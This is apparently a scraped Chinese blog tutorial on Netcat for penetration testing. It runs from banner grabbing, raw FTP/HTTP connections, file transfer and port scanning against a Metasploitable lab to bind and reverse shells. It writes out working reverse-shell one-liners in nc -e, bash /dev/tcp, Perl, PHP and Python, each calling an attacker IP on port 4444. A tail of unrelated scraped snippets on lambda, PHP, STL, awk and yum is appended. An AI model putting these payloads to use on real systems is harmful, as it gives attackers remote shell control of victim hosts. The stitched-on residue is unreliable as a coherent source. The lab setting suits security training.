渗透中Necat的另类用法

Necat 是一个伟大而实用的用于 TCP 和 UPD 网络连接协议的读写程序。同时 Necat 也被誉为网络中的瑞士军刀,在许多黑客教程中 Necat 也被广泛使用。Necat 最常见用途是设置反向连接和 bind shell ,管道和重定向网络流量,端口侦听,调试程序和脚本,抓取 banner 等作用。在本教程中,我们将学到以下内容:

1. Banner 抓取

2. 原始连接

3. Webserver 交互

4. 文件传输

5. Necat 端口扫描6. 绑定和反弹 shell

我们将使用运行Linux和通过一些可视化的几个虚拟机,来演示这些技术。

Banner 抓取 原始连接 和 Webserver 交互服务的 banner 信息通常被系统管理员,用于了解当前网络中的系统和运行的服务情况。服务的 banner 信息标识了正在运行的服务类型,还标识了服务的版本信息。banner 抓取是一种在开放端口上检索关于特定服务信息的技术,并且可以在渗透测试期间用于执行漏洞评估。当我们使用 Netcat 进行横幅抓取时,实际上会对指定端口上的指定主机进行原始连接。当被抓取的 banner 可用时,它会打印到控制台。下面让我们看看如何实现该项功能:
Netcat banner 抓取使用以下命令与目标服务建立原始连接,并抓取服务的 banner 信息:
nc [ip address][port]
让我们以  Metasploitable 2 下正运行在 21 端口下的 FTP 服务为例:
nc 192.168.100.100 21

<ignore_js_op>

从抓取的 banner 信息我们可以得知目前目标主机 21 端口上运行了 vsFTPD  服务,版本为 2.3.4 。
Netcat 原始连接为了更直观的演示原始连接的工作过程,我们将连接到 FTP 服务上,并发出一些 FTP 命令。让我们看看该 FTP 服务是否支持匿名操作访问,我们在 USER 和 PASS  下键入 anonymous ,可以看到登陆成功!

以上我演示了如何抓取 banner 以及 如何设置和使用原始数据连接的方法。在这个演示中,我们使用了一个FTP服务,其实除了 FTP 服务,该技术同样适用于其它服务,例如SMTP和HTTP服务等。
Web server 交互Netcat 也可用于我们发出 HTTP 请求时的 webserver 交互。使用以下命令我们可以抓取到正在 Metasploitable 2 上运行的 web 服务:
nc 192.168.100.108 80
接着输入 HTTP 请求指令:
HEAD / HTTP/1.0

<ignore_js_op>

我们可以看到 webserver 向我们响应了 服务端的一些基本信息,Apache/2.2.8 (Ubuntu) DAV/2 以及 PHP 版本等。
要在Web服务器上检索 webserver 的页面标题信息,我们可以发出以下命令:
nc 192.168.100.108 80
接着输入 HTTP 请求指令:
GET / HTTP/1.0

Netcat 文件传输
在本例中,我们将使用Netcat连接来传输文本文件。让我们假设我们在目标主机上可以执行远程命令,并且我们要将文件从攻击者的机器远程传输到受害者主机。首先,我们需要在目标主机上设置一个侦听,并从攻击者机器与它建立连接。我们将通过 8080 端口进行传输,并将文件存放在桌面:
nc -lvp 8080 > /root/Desktop/transfer.txt
此时我们在攻击者机器上输入以下命令与目标机器的 8080 端口建立连接,并传输一个名为 transfer.txt的文本文件:
nc 192.168.100.107 8080 < /root/Desktop/transfer.txt

<ignore_js_op>

接着我们 control + c 并在目标机器上 cat 我们传输的文本文件,可以看到我们的文本文件被成功传输到了目标主机上:

Necat 端口扫描其实 Necat 还可以实现端口的扫描功能:
nc -nvz 10.1.1.11 1-65535  TCP端口扫描
nc -nvzu 10.1.1.11 1-65535   UDP端口扫描

以上我们介绍的,都是 Necat 的一些基本使用操作。下面我们来学习下 Ncat 最受欢迎和被使用最多的功能:设置绑定 shell 和反弹 shell 。我们将了解 bind shell和 reverse shell之间的区别以及它们的基本使用。 Netcat 通常不存在于系统上,因为它可能被视为潜在的安全问题。在此情况下,我们将学习如何使用其他工具和编程语言,来代替 Netcat 一些功能,例如设置反向shell 的功能。我们会使用编程和脚本语言,如Python,PHP,Perl和Bash是很好的选择!我们将结束这个教程与如何使用绑定shell。

Netcat 反弹 shell
从渗透测试的角度来说, Necat 通常被用来建立 反弹和绑定 shell 。反弹 shell 通常用于目标有开启一些防护措施,例如防火墙的过滤或端口的转发等。通过这种方式我们可以一定程度上绕过防护机制,从而达到获取目标主机的 shell 的目的。而绑定 shell 则是在目标主机上绑定一个处于侦听状态的端口,用于攻击者对其进行固定的连接,从而获取 shell 。

下面我将使用 4444 端口来完成 反弹和绑定 shell 的演示操作。这里你们可以使用任意端口,并非要像我一样!不过在实际环境中,我们应该设置更常见的端口,例如 80 和 443 来设置 反弹 shell 。

Netcat 反弹 shell 的建立
首先让我们通过下图,来更加深入的了解下 Necat 反弹 shell 的工作机制原理:

我们来简单分析下以上图示,可以看到目标主机反弹连接了攻击者机器的,并使用 -e 参数像攻击者机器发送了 Bash shell 。如果在 windows 主机上,我们还可以发送 cmd.exe 的反弹 shell 。这样我们可以假设,如果我们在目标主机上发现了一个远程代码执行(RCE)漏洞。那么,我们就可以在目标主机上使用 -e 发出 Netcat 命令,并使用 Netcat 启动反弹 shell 发出命令!

Netcat 反弹 shell 演示为了成功建立一个 Netcat 的反弹 shell 我们需要以下几个步骤:
1.设置 Netcat 侦听。
2.从目标主机与侦听建立连接。
3.从目标主机发送命令到攻击者机器。
首先我们使用以下命令,在攻击者机器上设置一个在 4444 端口上的侦听程序:
nc –lvp 4444
接着,我们在目标主机上向攻击者机器发送指定命令(记住这里我们有远程代码执行权限在目标主机上):
如果是在 Linux 上,命令如下:
nc 192.168.100.113 4444 –e /bin/bash
如果是在 Windows 上,命令如下:
nc.exe 192.168.100.113 4444 –e cmd.exe
现在,我们在攻击者机器上就取得了一个目标主机的 bash shell, 并且我们可以完全控制目标主机在该反弹 shell 的 root 权限账户下。

可以看到,绿颜色的 console 窗口是目标主机的,下面的则是攻击者的机器。我们可以看到,这里已经取得了一个 root 操作权限,从攻击者 192.168.100.113 连接到目标主机 192.168.100.107 上。

脱离 Netcat 建立的反弹 shell
通过以上演示我们不难发现,想要成功获取目标主机的 shell ,目标主机则必须有 Necat 。但在实际环境中,并不会如我们所愿!因此,为了避免这种尴尬下面我们使用另一种方法,来替代 Necat 的作用。

Bash reverse shell
我们还可以使用以下 bash 命令来实现反弹 shell 的建立:

[AppleScript] 纯文本查看 复制代码

?


1

bash -i >& /dev/tcp/192.168.100.113/4444 0>&1

可以看到,攻击者机器上的 Necat 同样获取到了目标主机的反弹 shell 。

Perl reverse shell
如果此时目标主机上用的是 Perl 语言,我们依然可以使用 Perl 来建立反弹 shell 。在目标主机上运行以下命令:

[AppleScript] 纯文本查看 复制代码

?


1

perl -e ‘use Socket;$i=192.168.100.113″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,>&S”);open(STDOUT,>&S”);open(STDERR,>&S”);exec(/bin/sh -i”);};’

PHP reverse shell
如果目标主机上用的是 PHP,这通常是Web服务器上的情况,它是Netcat,Perl 和 Bash 的一个很好的替代品。让我们使用以下命令,来实现 PHP 环境下的反弹 shell :

[AppleScript] 纯文本查看 复制代码

?


1

php -r ‘$sock=fsockopen(192.168.100.113,4444);exec(/bin/sh -i <&3 >&3 2>&3);’

我们可以从以上代码中看到,它依然会返回一个 /bin/sh shell 。

Python reverse shell
Python也是Linux机器上常用的一种脚本语言。下面我们使用 Python 来建立反弹 shell :

[AppleScript] 纯文本查看 复制代码

?


1

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.100.113,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,-i”]);’

Netcat bind shell
下面我们来看看绑定 shell 的原理图示:

从上图示我们可以看到,目标主机绑定了一个 bash shell 并侦听在 4444 端口上。攻击者通过一条简单的 Necat 命令,来与其建立连接。步骤如下:
1.使用 Necat 在 4444 端口绑定一个 bash shell 。
2.在攻击者机器上连接目标主机的 4444 端口。
3.发送指定命令到攻击者机器。
Netcat Bind shell 演示让我们看 console 控制台演示,如下:

可以看到目标主机绑定了一个 bash shell 在 4444 端口,攻击者则使用 Necat 获取到了目标主机的 root 权限的 shell 。
总结:通过以上的学习,我们已经学会了 Necat 一些基本的命令使用方法。重要的是,我们还掌握了一些可以替代 reverse shell 和 bind shell 的方法。这对我们今后,在真实环境下的渗透测试,提供了更多的方法及思路。因此,我们一定要熟练掌握和运用这些方法,只有这样我们的渗透才能更加高效和成功!

时间: 2024-11-03 21:51:33

渗透中Necat的另类用法的相关文章

python中lambda的另类使用

Lambda挺强大,有兴趣的人看下关于lambda的理论,就清楚邱奇编码的实现了. 网上的都只是讲的千篇一律的匿名函数的简单用法,很没趣. 那些建议取消python中lambda的同志,知道lambda可以这么用么. 带if/else: ( lambda x, y: x if x < y else y )( 1, 2 ) 科里化: ( lambda x: ( lambda y: ( lambda z: x + y + z )( 1 ) )( 2 ) )( 3 ) 递归: func = lambd

PHP return语句另类用法

分享下PHP return语句的另一个作用,在bbPress的代码中看到的一个奇葩使用方法. 一直以为,return只能出现在函数中,直到看了bbPress的代码: <?php require_once('./bb-load.php'); bb_repermalink(); // The magic happens here. if ( $self ) { if ( strpos($self, '.php') !== false ) { require($self); } else { requ

滴答清单子作务另类用法

滴答清单子作务另类用法 滴答清单有一个子任务功能. 一个主任务里可以包含很多个子任务. 我目前有一个另类用法就是流程处理. 比如我要采购一个东西,我可以建立一个主任务,然后在子任务中加入这个任务的第一个步骤. 这样可以先计划好,之后跟着一步一步完成. 有人说计划赶不上变化,但是在我看来有计划可以更靠近目标,而没有计划只能靠碰运气了. 原文地址:https://www.cnblogs.com/F4NNIU/p/9279700.html

Python装饰器的另类用法

之前有比较系统介绍过Python的装饰器,本文算是一个补充.今天我们一起探讨一下装饰器的另类用法. 语法回顾 开始之前我们再将Python装饰器的语法回顾一下. @decorate def f(...): pass 等同于: def f(...): pass f = decorate(f) @语法的好处在于: 相同的函数名只出现一次,避免了f = decorate(f)这样的语句. 可读性更高,让读代码的人一眼就明白函数被装饰了哪些功能. @call()装饰器 假设你要创建一个整数平方的列表,你

IOS中NSString的常见用法

iOS NSString的常用用法 //1.创建常量字符串. NSString *astring = @"This is a String!"; //2.创建空字符串,给予赋值. NSString *astring = [[NSString alloc] init]; astring = @"This is a String!"; //3.在以上方法中,提升速度:initWithString方法 NSString *astring = [[NSString allo

STL中的Vector相关用法

STL中的Vector相关用法 标准库vector类型使用需要的头文件:#include <vector>. vector 是一个类模板,不是一种数据类型,vector<int>是一种数据类型. Vector的存储空间是连续的,list不是连续存储的. 1. 定义和初始化 vector< typeName > v1; //默认v1为空,故下面的赋值是错误的v1[0]=5;//v2是v1的一个副本,若v1.size()>v2.size()则赋值后v2.size()被

MongoDB官方C#驱动中查询条件Query用法

http://www.cnblogs.com/viprx/archive/2012/09/06/2673693.html MongoDB条件查询的基本语法. Query.All("name", "a", "b");//通过多个元素来匹配数组  Query.And(Query.EQ("name", "a"), Query.EQ("title", "t"));//同时满足

awk中split函数的用法

The awk function split(s,a,sep) splits a string s into an awk array a using the delimiter sep. time=12:34:56 echo $time | awk '{split($0,a,":" ); print a[1]}' 12   echo $time | awk '{split($0,a,":" ); print a[3]}' 34   echo $time | awk

Linux中yum和apt-get用法及区别

Linux中yum和apt-get用法及区别 一般来说著名的linux系统基本上分两大类: 1.RedHat系列:Redhat.Centos.Fedora等 2.Debian系列:Debian.Ubuntu等 RedHat 系列 1 常见的安装包格式 rpm包,安装rpm包的命令是"rpm -参数" 2 包管理工具  yum 3 支持tar包 Debian系列 1 常见的安装包格式 deb包,安装deb包的命令是"dpkg -参数" 2 包管理工具 apt-get